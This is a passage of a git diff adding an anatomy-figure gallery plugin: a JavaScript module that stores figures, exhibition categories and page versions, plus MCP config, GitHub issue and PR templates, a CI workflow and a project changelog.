/<title>([^<]{1,200})<\/title>/i.exec(html); + if (!match || match[1].includes('${')) return ''; + return match[1].trim(); +} + +/** @param {string} dataDir */ +export function createStore(dataDir) { + const statePath = join(dataDir, 'gallery.json'); + const filesRoot = join(dataDir, 'figures'); + /** @type {{ schemaVersion: 1, figures: any[], categories: any[] }} */ + let state = { schemaVersion: 1, figures: [], categories: [] }; + /** @type {Promise<void>} */ + let writing = Promise.resolve(); + + async function load() { + await mkdir(filesRoot, { recursive: true }); + try { + const raw = JSON.parse(await readFile(statePath, 'utf8')); + if (raw && Array.isArray(raw.figures)) { + state = { schemaVersion: 1, figures: raw.figures, categories: Array.isArray(raw.categories) ? raw.categories : [] }; + } + } catch (error) { + if (/** @type {any} */ (error).code !== 'ENOENT') throw error; + } + // A run from an earlier process cannot be observed or continued by this one. + let changed = false; + if (!state.categories.some((item) => item.id === DEFAULT_CATEGORY)) { + state.categories.unshift({ id: DEFAULT_CATEGORY, name: '默认', builtIn: true }); + changed = true; + } + for (const figure of state.figures) { + for (const run of figure.runs ?? []) { + if (run.status === 'running') { + run.status = 'interrupted'; + run.endedAt = run.endedAt ?? Date.now(); + changed = true; + } + } + } + if (changed) await persist(); + } + + function persist() { + const snapshot = JSON.stringify(state, null, 2); + const next = writing + .catch(() => {}) + .then(async () => { + const tmp = `${statePath}.${process.pid}.tmp`; + await writeFile(tmp, snapshot); + await rename(tmp, statePath); + }); + writing = next; + return next; + } + + /** @param {string} id */ + function find(id) { + const figure = state.figures.find((item) => item.id === id); + if (!figure) throw new GalleryError('not_found', '找不到这张图解'); + return figure; + } + + /** @param {any} figure */ + function summary(figure) { + const latest = figure.versions.at(-1); + const lastRun = figure.runs?.at(-1); + return { + id: figure.id, + title: figure.title, + source: figure.source, + categoryId: categoryOf(figure), + createdAt: figure.createdAt, + updatedAt: figure.updatedAt, + versionCount: figure.versions.length, + latest: latest + ? { + n: latest.n, + note: latest.note, + hasLight: latest.hasLight, + hasPreview: !!latest.previewExt, + hasLightPreview: !!latest.lightPreviewExt, + } + : null, + lastRun: lastRun ? { status: lastRun.status, kind: lastRun.kind, startedAt: lastRun.startedAt } : null, + }; + } + + /** A figure whose room was deleted, or that predates rooms, hangs in the default room. @param {any} figure */ + function categoryOf(figure) { + return state.categories.some((item) => item.id === figure.categoryId) ? figure.categoryId : DEFAULT_CATEGORY; + } + + /** @param {unknown} id */ + function knownCategory(id) { + return typeof id === 'string' && state.categories.some((item) => item.id === id) ? id : DEFAULT_CATEGORY; + } + + /** @param {unknown} value */ + function categoryName(value) { + const name = cleanText(value, 40).replace(/\s+/g, ' '); + if (!name) throw new GalleryError('invalid', '展区名称不能为空'); + if ([...name].length > 20) throw new GalleryError('invalid', '展区名称最多 20 个字'); + return name; + } + + /** @param {string} name @param {string} [except] */ + function assertUniqueName(name, except) { + const lower = name.toLowerCase(); + if (state.categories.some((item) => item.id !== except && item.name.toLowerCase() === lower)) { + throw new GalleryError('invalid', `已经有叫“${name}”的展区了`); + } + } + + function listCategories() { + return state.categories.map((item) => ({ + id: item.id, + name: item.name, + builtIn: !!item.builtIn, + count: state.figures.filter((figure) => categoryOf(figure) === item.id).length, + })); + } + + /** @param {unknown} rawName */ + async function createCategory(rawName) { + const name = categoryName(rawName); + assertUniqueName(name); + if (state.categories.length >= MAX_CATEGORIES) throw new GalleryError('invalid', `最多 ${MAX_CATEGORIES} 个展区`); + const category = { id: `cat-${randomUUID().slice(0, 6)}`, name, builtIn: false }; + state.categories.push(category); + await persist(); + return category; + } + + /** @param {string} id @param {unknown} rawName */ + async function renameCategory(id, rawName) { + const category = state.categories.find((item) => item.id === id); + if (!category) throw new GalleryError('not_found', '找不到这个展区'); + const name = categoryName(rawName); + assertUniqueName(name, id); + category.name = name; + await persist(); + return category; + } + + /** Delete a room; its works move to the default room. @param {string} id */ + async function deleteCategory(id) { + const category = state.categories.find((item) => item.id === id); + if (!category) throw new GalleryError('not_found', '找不到这个展区'); + if (category.builtIn) throw new GalleryError('invalid', `“${category.name}”是内置展区,不能移除`); + let moved = 0; + for (const figure of state.figures) { + if (figure.categoryId === id) { + figure.categoryId = DEFAULT_CATEGORY; + moved += 1; + } + } + state.categories = state.categories.filter((item) => item.id !== id); + await persist(); + return { moved }; + } + + /** @param {unknown} ids */ + async function reorderCategories(ids) { + if (!Array.isArray(ids)) throw new GalleryError('invalid', '排序参数无效'); + const byId = new Map(state.categories.map((item) => [item.id, item])); + const ordered = ids.filter((id) => typeof id === 'string' && byId.has(id)).map((id) => byId.get(id)); + if (new Set(ordered).size !== state.categories.length) throw new GalleryError('invalid', '排序需要包含全部展区'); + state.categories = ordered; + await persist(); + } + + /** Moving a work between rooms is not an edit, so it keeps its updatedAt and wall position. + * @param {string} figureId @param {unknown} categoryId */ + async function moveFigure(figureId, categoryId) { + if (typeof categoryId !== 'string' || !state.categories.some((item) => item.id === categoryId)) { + throw new GalleryError('invalid', '找不到这个展区'); + } + const figure = find(figureId); + figure.categoryId = categoryId; + await persist(); + return figure; + } + + /** Resolve a room by its name, for MCP callers that only know names. @param {unknown} name */ + function categoryIdByName(name) { + if (typeof name !== 'string' || !name.trim()) return DEFAULT_CATEGORY; + const lower = name.trim().toLowerCase(); + return state.categories.find((item) => item.name.toLowerCase() === lower)?.id ?? DEFAULT_CATEGORY; + } + + /** @param {{ title?: string, prompt?: string, size?: string, source: string, categoryId?: unknown }} input */ + async function createFigure(input) { + const now = Date.now(); + const figure = { + id: `fig-${randomUUID().slice(0, 8)}`, + title: cleanText(input.title, 80) || '未命名图解', + prompt: cleanText(input.prompt, 4000), + size: input.size === 'hero' ? 'hero' : 'figure', + source: input.source, + categoryId: knownCategory(input.categoryId), + createdAt: now, + updatedAt: now, + sessionId: null, + sourceDir: null, + versions: [], + runs: [], + }; + state.figures.unshift(figure); + await persist(); + return figure; + } + + /** @param {string} id @param {(figure: any) => void} mutate */ + async function update(id, mutate) { + const figure = find(id); + mutate(figure); + figure.updatedAt = Date.now(); + if (figure.runs.length > MAX_RUNS_PER_FIGURE) figure.runs.splice(0, figure.runs.length - MAX_RUNS_PER_FIGURE); + await persist(); + return figure; + } + + /** @param {string} path @param {string} label */ + async function readPage(path, label) { + if (typeof path !== 'string' || !isAbsolute(path)) { + throw new GalleryError('invalid', `${label}需要是绝对路径`); + } + const { real, size } = await resolveFile(path, label); + const ext = extname(real).toLowerCase(); + if (ext !== '.html' && ext !== '.htm') throw new GalleryError('invalid', `${label}必须是 .html 文件`); + if (size > MAX_PAGE_BYTES) throw new GalleryError('invalid', `${label}超过 30 MB`); + const buffer = await readFile(real); + const html = buffer.toString('utf8'); + if (!ANATOMY_MARKER.test(html)) { + throw new GalleryError('invalid', `${label}看起来不是 anatomy 构建出的页面(缺少 class="iso")`); + } + return { buffer, html }; + } + + /** @param {string | undefined} path @param {string} label */ + async function readPreview(path, label = '预览图') { + if (!path) return null; + if (!isAbsolute(path)) throw new GalleryError('invalid', `${label}需要是绝对路径`); + const { real, size } = await resolveFile(path, label); + if (!PREVIEW_TYPES.has(extname(real).toLowerCase())) throw new GalleryError('invalid', `${label}只支持 PNG、WebP 或 JPEG`); + if (size > MAX_PREVIEW_BYTES) throw new GalleryError('invalid', `${label}超过 15 MB`); + const buffer = await readFile(real); + const ext = imageType(buffer); + if (!ext) throw new GalleryError('invalid', `${label}的内容不是 PNG、WebP 或 JPEG 图片`); + return { buffer, ext }; + } + + /** The kit writes `<name>-light.html` beside the dark page when built with `--light`. */ + async function siblingLight(page) { + const ext = extname(page); + if (basename(page, ext).endsWith('-light')) return undefined; + const candidate = join(dirname(page), `${basename(page, ext)}-light${ext}`); + try { + return (await stat(candidate)).isFile() ? candidate : undefined; + } catch { + return undefined; + } + } + + /** + * Copy a built page (and optional light page and preview) into the gallery as a new version. + * Without a figureId a new figure is created. + * @param {{ figureId?: string, page: string, lightPage?: string, preview?: string, lightPreview?: string, note?: string, + * title?: string, prompt?: string, origin: 'agent' | 'import', model?: object | null, + * runId?: string | null, categoryId?: unknown }} input + */ + async function addVersion(input) { + const existing = input.figureId ? find(input.figureId) : null; + const page = await readPage(input.page, '页面'); + const lightPath = input.lightPage || (await siblingLight(input.page)); + const light = lightPath ? await readPage(lightPath, '浅色页面') : null; + const preview = await readPreview(input.preview, '深色预览图'); + const lightPreview = await readPreview(input.lightPreview, '浅色预览图'); + + const figure = + existing ?? + (await createFigure({ + title: cleanText(input.title, 80) || titleOf(page.html) || basename(input.page, extname(input.page)), + prompt: input.prompt, + source: input.origin === 'import' ? 'import' : 'chat', + categoryId: input.categoryId, + })); + const n = (figure.versions.at(-1)?.n ?? 0) + 1; + const dir = join(filesRoot, figure.id, `v${n}`); + await mkdir(dir, { recursive: true }); + await writeFile(join(dir, 'dark.html'), page.buffer); + if (light) await writeFile(join(dir, 'light.html'), light.buffer); + if (preview) await writeFile(join(dir, `preview${preview.ext}`), preview.buffer); + if (lightPreview) await writeFile(join(dir, `preview-light${lightPreview.ext}`), lightPreview.buffer); + + const version = { + n, + createdAt: Date.now(), + note: cleanText(input.note, 300), + origin: input.origin, + hasLight: !!light, + previewExt: preview?.ext ?? null, + lightPreviewExt: lightPreview?.ext ?? null, + model: input.model ?? null, + runId: input.runId ?? null, + sourcePage: input.page, + }; + await update(figure.id, (item) => { + item.versions.push(version); + item.sourceDir = dirname(input.page); + if (cleanText(input.title, 80) && existing) item.title = cleanText(input.title, 80); + if (item.title === '未命名图解') item.title = titleOf(page.html) || item.title; + }); + return { figure, version }; + } + + /** @param {string} id */ + async function remove(id) { + find(id); + state.figures = state.figures.filter((item) => item.id !== id); + await persist(); + await rm(join(filesRoot, id), { recursive: true, force: true }); + } + + /** @param {string} id @param {number} n @param {'dark' | 'light' | 'preview' | 'preview-light'} kind */ + function versionFile(id, n, kind) { + const figure = find(id); + const version = figure.versions.find((item) => item.n === n); + if (!version) throw new GalleryError('not_found', '找不到这个版本'); + const dir = join(filesRoot, figure.id, `v${version.n}`); + if (kind === 'preview') { + if (!version.previewExt) throw new GalleryError('not_found', '这个版本没有深色预览图'); + return { path: join(dir, `preview${version.previewExt}`), type: PREVIEW_TYPES.get(version.previewExt) }; + } + if (kind === 'preview-light') { + if (!version.lightPreviewExt) throw new GalleryError('not_found', '这个版本没有浅色预览图'); + return { path: join(dir, `preview-light${version.lightPreviewExt}`), type: PREVIEW_TYPES.get(version.lightPreviewExt) }; + } + if (kind === 'light' && !version.hasLight) throw new GalleryError('not_found', '这个版本没有浅色页面'); + return { path: join(dir, `${kind}.html`), type: 'text/html; charset=utf-8' }; + } + + return { + load, + find, + summary, + list: () => state.figures.map(summary), + categoryOf, + listCategories, + createCategory, + renameCategory, + deleteCategory, + reorderCategories, + moveFigure, + categoryIdByName, + createFigure, + update, + addVersion, + remove, + versionFile, + }; +} diff --git a/plugins/zch0227/anatomy-gallery/package.json b/plugins/zch0227/anatomy-gallery/package.json new file mode 100644 index 00000000..aab6b8dc --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/package.json @@ -0,0 +1,6 @@ +{ + "mcode": { + "schemaVersion": 2, + "miniApp": "./miniapp/miniapp.json" + } +} diff --git a/plugins/zch0227/anatomy-gallery/servers.mcp.json b/plugins/zch0227/anatomy-gallery/servers.mcp.json new file mode 100644 index 00000000..187e0c3d --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/servers.mcp.json @@ -0,0 +1,12 @@ +{ + "schemaVersion": 1, + "mcpServers": { + "anatomy-gallery": { + "type": "streamable-http", + "url": "http://127.0.0.1:9/mcp/anatomy-gallery", + "headers": {}, + "description": "Registers finished anatomy figures and their versions in the Anatomy gallery.", + "timeout": 30000 + } + } +} diff --git a/plugins/zch0227/anatomy-gallery/skills/anatomy/.gitattributes b/plugins/zch0227/anatomy-gallery/skills/anatomy/.gitattributes new file mode 100644 index 00000000..13ad5214 --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/skills/anatomy/.gitattributes @@ -0,0 +1,4 @@ +* text=auto eol=lf +examples/**/*.html linguist-generated=true +*.webp binary +*.png binary diff --git a/plugins/zch0227/anatomy-gallery/skills/anatomy/.github/ISSUE_TEMPLATE/bug_report.yml b/plugins/zch0227/anatomy-gallery/skills/anatomy/.github/ISSUE_TEMPLATE/bug_report.yml new file mode 100644 index 00000000..79e22573 --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/skills/anatomy/.github/ISSUE_TEMPLATE/bug_report.yml @@ -0,0 +1,103 @@ +name: Bug report +description: A figure, the kit, a check script or the install did something wrong. +title: "Bug: " +labels: ["bug"] +body: + - type: markdown + attributes: + value: | + Thanks for reporting. A screenshot helps most, and for a drawing fault a 4× close-up (`node scripts/capture.mjs page.html --zoom x,y,w,h`). + - type: dropdown + id: area + attributes: + label: Where is the problem? + options: + - A figure an agent made with the skill + - One of the examples + - The kit (kit/) + - A check script (scripts/) + - SKILL.md or a reference + - Installing the skill + validations: + required: true + - type: dropdown + id: agent + attributes: + label: Which agent? + options: + - Claude Code + - Antigravity + - OpenCode + - Codex + - Other + validations: + required: true + - type: dropdown + id: kind + attributes: + label: Kind of figure + options: + - SVG + - SVG + WebGL + - 3D (beta) + - Not about a figure + - type: dropdown + id: target + attributes: + label: Where does the figure live? + options: + - Standalone HTML + - A lone SVG file + - React / Next.js + - Not about a figure + - type: dropdown + id: theme + attributes: + label: Theme + options: + - Light + - Dark + - Both + - Not about a figure + - type: textarea + id: what + attributes: + label: What happened + description: What you saw, and where in the figure or the output. + validations: + required: true + - type: textarea + id: expected + attributes: + label: What you expected + validations: + required: true + - type: textarea + id: steps + attributes: + label: How to reproduce + description: The prompt you gave the agent, or the exact command you ran. + placeholder: | + /anatomy explain how a token bucket rate limiter works, interactive + node examples/raptor-engine/build.mjs --audit + validations: + required: true + - type: textarea + id: output + attributes: + label: Output + description: Any error, audit lines or console messages. + render: shell + - type: input + id: environment + attributes: + label: Environment + description: Node.js version, operating system, Chrome version, agent version. + placeholder: output of `node --version` and `claude --version`, `agy --version`, `opencode --version` or `codex --version`, your OS, your Chrome version + validations: + required: true + - type: textarea + id: screenshots + attributes: + label: Screenshots + description: Drag images here. Close-ups at 4× for drawing faults. diff --git a/plugins/zch0227/anatomy-gallery/skills/anatomy/.github/ISSUE_TEMPLATE/config.yml b/plugins/zch0227/anatomy-gallery/skills/anatomy/.github/ISSUE_TEMPLATE/config.yml new file mode 100644 index 00000000..ea9f6ec5 --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/skills/anatomy/.github/ISSUE_TEMPLATE/config.yml @@ -0,0 +1,5 @@ +blank_issues_enabled: false +contact_links: + - name: Security problem + url: https://github.com/wheresryan22/anatomy/security/advisories/new + about: Report security problems privately, not in a public issue. diff --git a/plugins/zch0227/anatomy-gallery/skills/anatomy/.github/ISSUE_TEMPLATE/figure_request.yml b/plugins/zch0227/anatomy-gallery/skills/anatomy/.github/ISSUE_TEMPLATE/figure_request.yml new file mode 100644 index 00000000..4280aa74 --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/skills/anatomy/.github/ISSUE_TEMPLATE/figure_request.yml @@ -0,0 +1,58 @@ +name: Figure or feature request +description: Ask for a new example figure, a new part or helper in the kit, a new check, or a change to how the skill works. +labels: ["enhancement"] +body: + - type: markdown + attributes: + value: | + Anatomy explains an idea as a real machine, instrument, tool or piece of furniture. It is not a chart library, and it does not draw people or exact maps. + - type: dropdown + id: request + attributes: + label: What are you asking for? + options: + - A new example figure + - A new part or helper in the kit + - A new check or script + - A change to the skill's instructions + - Something else + validations: + required: true + - type: textarea + id: idea + attributes: + label: The idea + description: For a figure, name the idea it should explain and its real numbers (sizes, counts, rates, thresholds), or the object you have in mind and what should move. For anything else, describe the change. + placeholder: A connection pool of 10 connections; requests borrow one and give it back, and wait in a queue when all 10 are busy. + validations: + required: true + - type: dropdown + id: kind + attributes: + label: Kind of figure + options: + - SVG + - SVG + WebGL + - 3D (beta) + - Not sure + - Not about a figure + - type: textarea + id: why + attributes: + label: Why it is worth adding + description: What it would teach, or what you could not do without it. + validations: + required: true + - type: textarea + id: alternatives + attributes: + label: What you tried instead + - type: checkboxes + id: checks + attributes: + label: Before you submit + options: + - label: I searched the existing issues. + required: true + - label: I read the Limits section of the README. + required: true diff --git a/plugins/zch0227/anatomy-gallery/skills/anatomy/.github/PULL_REQUEST_TEMPLATE.md b/plugins/zch0227/anatomy-gallery/skills/anatomy/.github/PULL_REQUEST_TEMPLATE.md new file mode 100644 index 00000000..e4fa0e94 --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/skills/anatomy/.github/PULL_REQUEST_TEMPLATE.md @@ -0,0 +1,26 @@ +## What this changes + + + +## Why + + + +## Checks + +Tick what applies, and say why for anything left unticked. + +- [ ] Every example rebuilds, and `git status --short` shows only the changes I meant. +- [ ] No comments in code. +- [ ] Kit changes are opt-in, and every existing example is byte-identical (or this PR says which pages change and why). +- [ ] I built and looked at both themes. +- [ ] Figures with pipes, cables or round parts: `node build.mjs --audit` ends `audit passed`, every failing line at 0. +- [ ] `node scripts/lines.mjs` prints `line ends: 0` on both themes and in every resting pose. +- [ ] Shaders: a slowed contact sheet across every transition shows no pop, and `--no-webgl` still reads. +- [ ] 3D: a full run ends `turn audit passed`, and `scripts/turn-check.mjs` passes. +- [ ] Every number in the figure, the readout, the caption and the docs is true. +- [ ] A line under `Unreleased` in `CHANGELOG.md`. + +## Screenshots + +Light and dark, plus 4× close-ups of every joint the change touches. diff --git a/plugins/zch0227/anatomy-gallery/skills/anatomy/.github/assets/dial-indicator.webp b/plugins/zch0227/anatomy-gallery/skills/anatomy/.github/assets/dial-indicator.webp new file mode 100644 index 00000000..8a5c0ac6 Binary files /dev/null and b/plugins/zch0227/anatomy-gallery/skills/anatomy/.github/assets/dial-indicator.webp differ diff --git a/plugins/zch0227/anatomy-gallery/skills/anatomy/.github/assets/raptor-engine-apart.webp b/plugins/zch0227/anatomy-gallery/skills/anatomy/.github/assets/raptor-engine-apart.webp new file mode 100644 index 00000000..2c991c8b Binary files /dev/null and b/plugins/zch0227/anatomy-gallery/skills/anatomy/.github/assets/raptor-engine-apart.webp differ diff --git a/plugins/zch0227/anatomy-gallery/skills/anatomy/.github/assets/raptor-engine-firing.webp b/plugins/zch0227/anatomy-gallery/skills/anatomy/.github/assets/raptor-engine-firing.webp new file mode 100644 index 00000000..124a9cea Binary files /dev/null and b/plugins/zch0227/anatomy-gallery/skills/anatomy/.github/assets/raptor-engine-firing.webp differ diff --git a/plugins/zch0227/anatomy-gallery/skills/anatomy/.github/assets/ripple-tank.webp b/plugins/zch0227/anatomy-gallery/skills/anatomy/.github/assets/ripple-tank.webp new file mode 100644 index 00000000..c92bfe79 Binary files /dev/null and b/plugins/zch0227/anatomy-gallery/skills/anatomy/.github/assets/ripple-tank.webp differ diff --git a/plugins/zch0227/anatomy-gallery/skills/anatomy/.github/assets/turning-dial.webp b/plugins/zch0227/anatomy-gallery/skills/anatomy/.github/assets/turning-dial.webp new file mode 100644 index 00000000..3dc8f140 Binary files /dev/null and b/plugins/zch0227/anatomy-gallery/skills/anatomy/.github/assets/turning-dial.webp differ diff --git a/plugins/zch0227/anatomy-gallery/skills/anatomy/.github/workflows/ci.yml b/plugins/zch0227/anatomy-gallery/skills/anatomy/.github/workflows/ci.yml new file mode 100644 index 00000000..c91e5098 --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/skills/anatomy/.github/workflows/ci.yml @@ -0,0 +1,71 @@ +name: CI + +on: + push: + branches: [main] + pull_request: + workflow_dispatch: + +permissions: + contents: read + +concurrency: + group: ci-${{ github.ref }} + cancel-in-progress: true + +jobs: + examples: + name: Rebuild the examples + runs-on: macos-latest + timeout-minutes: 30 + steps: + - uses: actions/checkout@v7 + + - uses: actions/setup-node@v7 + with: + node-version: 22 + + - name: Regression tests + run: | + test_deps="$(mktemp -d)" + trap 'rm -rf "$test_deps"' EXIT + npm install --prefix "$test_deps" --no-audit --no-fund --ignore-scripts react@19.3.0 react-dom@19.3.0 typescript@5.9.3 esbuild@0.28.2 + NODE_PATH="$test_deps/node_modules" node --test scripts/*.test.mjs + + - name: Dial indicator + run: | + node examples/dial-indicator/build.mjs + node examples/dial-indicator/build.mjs --light + + - name: Desk computer + run: | + node examples/desk-computer/build.mjs + node examples/desk-computer/build.mjs --light + + - name: Arcade cabinet + run: | + node examples/arcade-cabinet/build.mjs + node examples/arcade-cabinet/build.mjs --light + + - name: Ripple tank + run: | + node examples/ripple-tank/build.mjs + node examples/ripple-tank/build.mjs --light + + - name: Turning dial + run: | + node examples/turning-dial/build.mjs + node examples/turning-dial/build.mjs --light + node examples/turning-dial/build.mjs --light --verify + node examples/turning-dial/stress.mjs --light + + - name: Raptor engine + run: | + node examples/raptor-engine/build.mjs + node examples/raptor-engine/build.mjs --light + + - name: Committed pages are unchanged + run: | + git status --short + git diff --stat --exit-code + test -z "$(git status --porcelain)" diff --git a/plugins/zch0227/anatomy-gallery/skills/anatomy/.gitignore b/plugins/zch0227/anatomy-gallery/skills/anatomy/.gitignore new file mode 100644 index 00000000..dd5df780 --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/skills/anatomy/.gitignore @@ -0,0 +1,11 @@ +node_modules/ +.DS_Store +*.log +npm-debug.log* +.env +.env.* +shots/ +audit.txt +/capture.png +.scratch/ +tmp/ diff --git a/plugins/zch0227/anatomy-gallery/skills/anatomy/CHANGELOG.md b/plugins/zch0227/anatomy-gallery/skills/anatomy/CHANGELOG.md new file mode 100644 index 00000000..8c9e6572 --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/skills/anatomy/CHANGELOG.md @@ -0,0 +1,104 @@ +# Changelog + +All notable changes to Anatomy are recorded here. The format follows [Keep a Changelog](https://keepachangelog.com/en/1.1.0/). Releases follow [Semantic Versioning](https://semver.org/spec/v2.0.0.html); entries from before the first release are dated. + +## [Unreleased] + +### Added + +- Antigravity support, alongside Claude Code, OpenCode and Codex. Documented user and project installation paths in the README and CONTRIBUTING, updated SKILL.md compatibility, and added Antigravity to the bug report form. + +### Changed + +- A Figure no longer quotes a time to the user. The 30–90 minute estimate was often far longer than the build itself ([#41](https://github.com/wheresryan22/anatomy/issues/41)). + +### Fixed + +- `capture.mjs` waits for the page to load before it touches it, even with `--wait 0`, and gives up with an error when Chrome leaves a request unanswered for 60 s instead of hanging. +- `drive.mjs` `until` times a condition inside the page, so one that is already true passes however short the wait, even on a slow machine; a promise that never settles still times out. +- Start headless Chrome on Windows from an elevated terminal: `capture.mjs`, `drive.mjs` and `turn-check.mjs` pass `--do-not-de-elevate` there. Chrome otherwise relaunches itself without the elevation, the process the script started exits with code 0, and the check stops with `Chrome exited before startup: 0` while the relaunched browser stays running. +- Resolve the current React readout target on every write so replaced readouts and anchors do not leave updates on detached elements. +- Reject drive `turn` and `orbit` actions when the page has no callable 3D turn controller, instead of reporting an unchanged figure as a successful turn. +- Await asynchronous `until` conditions without treating the promise itself as success, while enforcing the wait deadline. +- Capture measures the current figure before every screenshot, including moved, resized and timed zoom crops. +- `publish.mjs --submit` makes the fork again with gh 2.101 and later, which refuse `--remote` when a repository is named; gh never adds a remote in that case, so the flag is gone (#53). + +## [1.1.0] - 2026-10-12 + +### Added + +- `scripts/publish.mjs` and `references/publish.md`: share a finished framework-free figure in the community gallery, `wheresryan22/anatomy-community`. The script copies the figure, points its kit imports at the gallery's `.skill/` link, records the kit fingerprint (`scripts/fingerprint.mjs`) so the gallery can rebuild it with the same kit version, and copies only the source, under `figures/<author>/<id>/`. The gallery builds the pages in a locked sandbox. `--submit` sends it as a pull request after asking, making a fork when needed. +- `publish.mjs` records how long the figure took to make and how many tokens it used. In Claude Code it reads them from the session's own log (`scripts/session.mjs`, through `CLAUDE_CODE_SESSION_ID`, subagents included): from the request that made the figure to the request to publish it, idle gaps over 10 minutes left out and cache reads not counted. The plan shows both before anything is sent. `--minutes` and `--tokens` set them by hand, `--no-session` leaves them out. +- `publish.mjs` accepts `--agent Antigravity`, alongside Claude Code, OpenCode, Codex and Other. +- OpenCode and Codex support, alongside Claude Code. `SKILL.md` exposes `/anatomy` to OpenCode through `metadata`, `agents/openai.yaml` gives Codex its display name, and the README, CONTRIBUTING and the bug report form cover all three agents. + +### Fixed + +- Start headless Chrome on Linux: `capture.mjs`, `drive.mjs` and `turn-check.mjs` pass `--no-sandbox` there and find Playwright's Linux Chromium under `~/.cache/ms-playwright`, so the browser checks and the gallery's validator run on Linux hosts. +- `references/publish.md` clones the gallery with `--single-branch`, so contributors skip the previews branch and its images. +- `publish.mjs --submit` no longer stops with "already exists" when an earlier run without `--submit` left the figure's folder in the clone; it only asks for `--force` when the folder is already on the gallery's main. +- Preserve configured pipe clearances in broad-phase solid and pipe sampling. +- Observe replacement and late-mounted DOM targets through useInView. +- Check texture line attachments against rounded rectangle corners, including separate radii, SVG clamping and transformed outlines. +- Honor explicit capture, drive and line-check selectors, and scope reported readouts to the requested figure. +- Decode valid SVG attribute quotes, whitespace and XML character references in audit bounds. +- Exclude invisible empty clip intersections from authored SVG bounds. +- `scripts/drive.mjs` now fails when a browser evaluation throws or rejects, rather than reporting a clean successful session. +- The arcade cabinet now accepts coins with reduced motion enabled, preserving the meter, credit and power-on events when the coin animation is skipped. +- The turning dial stops its idle tour when reduced motion is enabled while the page is open and cancels its pending automatic restart while preserving keyboard and pointer input. +- `scripts/drive.mjs` now exits with status 1 and stops subsequent actions when an `until` condition times out. +- `scripts/capture.mjs` now creates the output directory for screenshots, including nested paths under `shots/`. +- The line-end check now includes the selected element when `--select` names an SVG, rather than checking only SVGs inside it. +- `scripts/drive.mjs` now rejects unknown actions before running the session, so a misspelled verification step cannot report success. +- Browser checks now fail promptly and remove their temporary profiles when Chrome exits before its debugging port is ready. +- The line-end check now uses ellipse boundaries and transformed circle boundaries, and treats hollow interiors as empty instead of solid dots. +- The line-end check now follows SVG arc curves instead of treating each arc as a straight chord. +- Capture and drive now fail when Chrome cannot load the requested page, instead of reporting a clean browser error page. +- Orbit checks reject invalid sampling steps and empty pose lists before a zero-state sweep can pass. +- Solid clearance audits rebuild cached surface grids when sampling spacing or cell size changes. +- Tube geometry audits use tapered radii instead of replacing every segment with an averaged cylinder. +- The line verifier reflects smooth Bezier controls only after the matching curve family. +- Capture and drive send native Enter activation so button and form checks perform their default action. +- Fixed-part and coverage bounds restore a closed SVG subpath origin before relative moves. +- Audit ray casts now refresh body camera coefficients when the projection direction changes, so repeated builds retain the correct depth order. +- Audit profile tracing now checks quarter-span deviations, preserving inflected analytic and smooth profiles whose midpoint lies on their chord. +- Depth-key solving now allows large acyclic figures to converge beyond 400 rounds and avoids choosing a cycle victim from an empty set of violated rules. +- Splitting now accepts default fixed rounds and preserves explicit prism/round ownership, so a pipe fitting can be split without inventing collisions with its own pipe. +- Turning builders now reject missing named part/parent groups and duplicate group names before authored motions silently become static or alias one value. +- Native fidelity checks now compare complete filled silhouettes for cut parts and honor open round ends in the kit reference, preserving deliberately unstroked cut edges. +- Tube fidelity checks path coverage in both directions when vertex counts differ, rejecting empty or truncated live silhouettes while preserving equivalent resampling. +- Solid clearances check sliding rods whose drawn reach changes, even when their stretching geometry leaves no relative translation to a stationary obstacle. +- React `Solid` honors the existing `paths.seamless` marker so smooth tone regions receive the same seam treatment as the plain SVG renderer. +- React `Dots` retains the kit's optional per-point opacity, including fading bolt circles and pulsing dots, while ordinary points remain opaque. +- Write the first readout value even when empty or issued before passive binding. +- Measure transformed rectangular and round SVG primitives through their true affine bounds. + +## [1.0.0] - 2026-10-10 + +### Added + +- `examples/arcade-cabinet/`, an upright arcade cabinet with its side panel off. A quarter rolls down the coin chute past the coin-switch wire into the cash box, the switch's pulse runs along its cable to the board, and the CRT warms up, self-tests and runs an attract mode drawn in the plane of the tilted monitor; the stick closes a microswitch under the panel. It draws in the light and dark themes and passes `--audit`. +- `examples/spot-plate/`, a second React figure from the same site as `test-rig`: six pairs of glass drops that run together into one piece of glass as a fan of feeler blades sets `merge`. It draws in the light and dark themes. +- A first workflow step, **Size it before you start**: every request is sized as a Figure (about 30–90 minutes), a Hero (2–4 hours) or an Epic (6 hours or more), and the estimate is told to the user first. An Epic is not started until the user chooses it over a proposed Hero version. Every size has a working page within the first hour, and Claude reports when a step runs past twice its share of the estimate. + +### Fixed + +- `examples/test-rig/` drew its glass button dark in the light theme. `stretch.css` now has light values for its own colours. + +### Changed + +- The workflow steps are renumbered 1–10. +- The 4× detail sweep scales with the size: the subject and mechanism for a Figure, the whole drawing for a Hero or an Epic. The density rule itself still holds for every figure. +## 2026-10-08 + +### Changed + +- The skill is now called Anatomy: `name: anatomy` in `SKILL.md`, invoked as `/anatomy`. It was developed privately as `isometric-objects` before this date, without releases. +- The CSS tokens are now `--anatomy-*` (for example `--anatomy-card`, `--anatomy-face`, `--anatomy-shade-0`); they were `--iso-*`. Every example is rebuilt with the new names. +- The figure card (`.iso-plate`) is square and flat: no rounded corners and no floating shadow, just a 1 px rule in the drawing's mid tone. +- `SKILL.md` makes high detail a standing rule for every figure, raises the parts list to at least 40 parts (60–150 for a hero figure), and adds a 4× detail pass to the final check. + +### Added + +- The public repository: a README with screenshots of the examples, the MIT license, a contributing guide, a code of conduct, a security policy, issue forms, a pull request template, and a CI workflow that rebuilds every example and fails if a committed page changes. +- What the skill contains at this point: the workflow and craft rules in `SKILL.md`; the kit (SVG core, round parts, pipes, the geometry audit, the WebGL layer, React components, and the 3D mode in beta); eight references; the headless Chrome checks in `scripts/`; six examples (`dial-indicator`, `desk-computer`, `raptor-engine`, `ripple-tank`, `test-rig`, `turning-dial`); and five evals. diff --git a/plugins/zch0227/anatomy-gallery/skills/anatomy/CODE_OF_CONDUCT.md 